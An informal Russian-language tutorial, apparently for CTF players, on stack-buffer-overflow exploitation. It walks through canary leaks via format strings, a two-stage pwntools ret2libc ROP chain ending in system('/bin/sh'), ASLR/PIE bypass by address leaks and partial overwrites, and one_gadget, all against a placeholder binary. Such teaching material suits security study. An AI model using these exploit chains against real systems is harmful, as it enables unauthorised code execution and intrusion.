Pwn как в старые добрые: buffer overflow, ROP-цепочки и обход ASLR/NX
Ну здарова, бродяга. Что, соскучился по старым временам, когда NOP-спрей был искусством, а не багом? Го, лови разбор — как в 2010-х, только с учётом того, что защиты сейчас на минималках, но всё ещё ломаются.
Точка входа: разведка бинаря
Первое, что делаем с любым бинарём — не гадаем, а смотрим защиты в лицо:
|
1 2 3 |
checksec --file=./vuln file ./vuln gdb -q ./vuln |
Смотрим на связку: Canary, NX, PIE, RELRO. Если canary включён — ищем format string или другой способ его слить, если нет — тупо перезаписываем стек. Если NX стоит — про шеллкод на стеке забудь, работаем через ROP/ret2libc. Если PIE включён — база бинаря рандомная, нужен leak адреса самого бинаря, не только libc.
Классика жанра: подавляющее большинство современных pwn-целей — это связка NX+ASLR+PIE+Canary, и именно её мы ломаем через утечку + пересчёт базы.
Шаг 1. Находим переполнение и находим канарейку
Фаззим длину буфера через pwntools cyclic:
|
1 2 3 4 5 6 7 8 |
from pwn import * p = process('./vuln') payload = cyclic(200) p.sendline(payload) p.wait() core = p.corefile offset = cyclic_find(core.pc) print(offset) |
Нашли offset до RIP — отлично, дальше вопрос: canary есть или нет.
Если canary есть — обычно между buffer и saved RBP лежит 8 байт canary, начинающийся с \x00. Юзаем это: если есть format string bug (printf(buf) без формата) — сливаем canary через %p или %llx:
|
1 2 3 |
p.sendline(b'%11$llx') # позиция стека под canary — подбирается перебором leak = p.recvline() canary = int(leak, 16) |
Если format string нет, но есть brute-force возможность (canary меняется только при fork, не при каждом запуске процесса, как в некоторых сервисных демонах) — можно перебирать байт за байтом. Медленно, но работает на тех, кто крашится, но не убивает соединение.
Шаг 2. NX стоит — не грустим, работаем ret2libc/ROP
Раз стек не исполняемый — прыгаем не в шеллкод, а в существующий код: собираем ROP-цепочку из гаджетов бинаря + libc.
Классический ret2libc, если ASLR выключен или есть leak:
|
1 |
ROPgadget --binary ./vuln --only "pop|ret" | grep rdi |
Ищем pop rdi; ret — гаджет, чтобы засунуть аргумент в регистр перед вызовом функции (x86_64 calling convention: аргументы через регистры, не стек, как в старину).
Цепочка на классику «получить шелл через system»:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
from pwn import * elf = ELF('./vuln') libc = ELF('./libc.so.6') p = process('./vuln') pop_rdi = 0x0000000000401234 # найден через ROPgadget/pwntools rop.gadgets puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] # Стадия 1: лик адреса puts через puts@got -> считаем базу libc payload = flat( b'A' * offset, pop_rdi, puts_got, puts_plt, main_addr # возвращаемся в main, чтобы дёрнуть overflow второй раз ) p.sendline(payload) p.recvuntil(b'\n') leaked = u64(p.recvline().strip().ljust(8, b'\x00')) libc_base = leaked - libc.symbols['puts'] log.success(f"libc base: {hex(libc_base)}") # Стадия 2: строим system("/bin/sh") system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) ret_gadget = libc_base + 0x0000abcd # для выравнивания стека под movaps в system (важно на новых libc!) payload2 = flat( b'A' * offset, ret_gadget, pop_rdi, binsh_addr, system_addr ) p.sendline(payload2) p.interactive() |
Вот этот ret_gadget для выравнивания стека — не роскошь, а обязательная деталь на современных libc (Ubuntu 18.04+), где system() внутри дёргает movaps, а он падает при невыровненном стеке. Народ забывает про это и потом сидит гадает, почему всё падает с SIGSEGV прямо перед шеллом.
Обход ASLR: тактика leak-and-calculate
ASLR рандомизирует базы библиотек и (если включен PIE) базу самого бинаря при каждом старте процесса. Бороться с этим — не магия, а арифметика:
- Утечка любого известного адреса функции из libc (через
puts, format string, GOT-таблицу). - Вычитаем известный офсет этой функции в конкретной версии
libc— получаем базу. - От базы прибавляем офсет нужной функции (
system,execve, строку/bin/sh) — готово, адрес известен несмотря на рандомизацию.
Версию libc без доступа к бинарю на сервере ищем через:
|
1 2 3 4 |
# По утечённому адресу puts ищем совпадающую версию python3 -c "print(hex(leaked_addr))" # и сверяем с https://libc.blukat.me/ или локальной базой libc-database ./libc-database/find puts <leaked_offset_last_3_bytes> |
Если PIE включён и слить адрес бинаря негде — часто спасает partial overwrite: перезаписываем только младший байт return-адреса (он не рандомизируется в пределах страницы), брутфорсим 1 байт вместо всех 6 — статистически заходит за 256 попыток, а не 2^48.
Собираем ROP автоматом, а не вручную (для ленивых котов)
Раз мы уже не в 2008-м — руками цепочки собирают только на экзамене. В реальности:
|
1 2 3 |
rop = ROP(elf) rop.system(next(libc.search(b'/bin/sh')) + libc_base) payload = flat(b'A'*offset, rop.chain()) |
pwntools.ROP сам находит гаджеты, разруливает выравнивание и порядок пуша аргументов. Плюс one_gadget — если в libc есть волшебный однострочный гаджет типа execve("/bin/sh", NULL, NULL), который сразу отдаёт шелл без сборки цепочки:
|
1 |
one_gadget ./libc.so.6 |
Он выведет адрес + constraints на регистры (rsp+0x30 == NULL и т.п.) — если условия сходятся на утечке, это самый короткий путь к шеллу.
Что бросается в глаза сразу (чеклист пентестера)
- Отсутствие
Full RELRO— GOT перезаписываемый, можно устроить GOT overwrite вместо classic ROP. - Статически слинкованный бинарь без PIE — адреса гаджетов константные, ASLR бьёт только по стеку/куче/libc, а не по коду.
system()/exec*символы, видимые в PLT — прямой путь к ret2libc без утечки офсетов вручную.- Кастомный
read/gets/scanf("%s")без ограничения длины — золото, ищи offset и вперёд.
Советы:
- Прогони бинарь через
pwninit— автоматически подтянет нужнуюlibcи патчитinterp, сэкономишь 20 минут на подготовке окружения. - Проверь
seccompфильтры (seccomp-tools dump ./vuln) — если стоят,execveможет быть запрещён, придётся играть в ORW (open-read-write) черезsigreturn(SROP) вместо простого шелла. - Если бинарь статический и без libc-символов — глянь на ret2syscall через прямые
syscall-гаджеты, найденныеROPgadget --binary ./vuln | grep syscall. - На куче — не забывай про UAF/double-free связку с
tcache poisoning, если задача явно намекает на heap (glibc 2.31+). - Если всё вышеперечисленное уже разобрано в отдельной статье или на CTF — годно, тогда следующий логичный шаг — heap exploitation (tcache, house of force) или атаки на kernel pwn, но это уже отдельный забег, не в один вечер.

На этом всё. Всем хорошего дня!
